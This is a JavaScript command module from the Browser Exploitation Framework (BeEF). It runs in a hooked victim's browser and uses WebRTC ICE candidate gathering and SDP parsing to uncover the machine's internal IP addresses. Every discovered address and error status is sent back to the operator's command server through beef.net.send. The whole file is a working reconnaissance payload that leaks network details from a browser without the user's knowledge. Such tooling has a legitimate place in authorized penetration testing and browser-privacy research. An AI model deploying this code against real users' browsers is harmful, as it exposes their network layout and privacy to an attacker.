//
// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {

   var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection;

    if (window.RTCIceGatherer || RTCPeerConnection){

        var addrs = Object.create(null);
        addrs["0.0.0.0"] = false;
        
        // Prefer RTCIceGatherer of simplicity.
        if (window.RTCIceGatherer) {
            var iceGatherer = new RTCIceGatherer({
                "gatherPolicy": "all",
                "iceServers": [ ],
            });
            iceGatherer.onlocalcandidate = function (evt) {
                if (evt.candidate.type) {
                  // There may be multiple IP addresses
                  if (evt.candidate.type == "host") {
                      // The ones marked "host" are local IP addresses
                      processIPs(evt.candidate.ip);
                  };
                } else {
                  retResults();
                };
            };
            iceGatherer.onerror = function (e) {
                beef.debug("ICE Gatherer Failed");
                beef.net.send('<%= @command_url %>', <%= @command_id %>, "ICE Gatherer Failed", beef.status.error());
            };
        } else {
          // Construct RTC peer connection
          var servers = {iceServers:[]};
          var mediaConstraints = {optional:[{googIPv6: true}]};
          var rtc = new RTCPeerConnection(servers, mediaConstraints);
          rtc.createDataChannel('', {reliable:false});

          // Upon an ICE candidate being found
          // Grep the SDP data for IP address data
          rtc.onicecandidate = function (evt) {
              if (evt.candidate){
                // There may be multiple local IP addresses
                beef.debug("a="+evt.candidate.candidate);
                grepSDP("a="+evt.candidate.candidate);
              } else {
                // No more candidates: return results.
                retResults();
              };
          };

          // Create an SDP offer
          rtc.createOffer(function (offerDesc) {
              grepSDP(offerDesc.sdp);
              rtc.setLocalDescription(offerDesc);
              retResults();
          }, function (e) {
              beef.debug("SDP Offer Failed");
              beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.status.error());
          });
        };

        function retResults(){
            var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
        }

        // Return results
        function processIPs(newAddr) {
            if (newAddr in addrs) return;
            else addrs[newAddr] = true;
            var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
            beef.debug("Found IPs: "+ displayAddrs.join(","));
            beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","), beef.status.success());
        }


        // Retrieve IP addresses from SDP 
        function grepSDP(sdp) {
            var hosts = [];
            sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39
                if (~line.indexOf("a=candidate")) {     // http://tools.ietf.org/html/rfc4566#section-5.13
                    var parts = line.split(' '),        // http://tools.ietf.org/html/rfc5245#section-15.1
                        addr = parts[4],
                        type = parts[7];
                    if (type === 'host') processIPs(addr);
                } else if (~line.indexOf("c=")) {       // http://tools.ietf.org/html/rfc4566#section-5.7
                    var parts = line.split(' '),
                        addr = parts[2];
                    processIPs(addr);
                }
            });
        }
    }else {
        beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection", beef.status.error());
    }
});
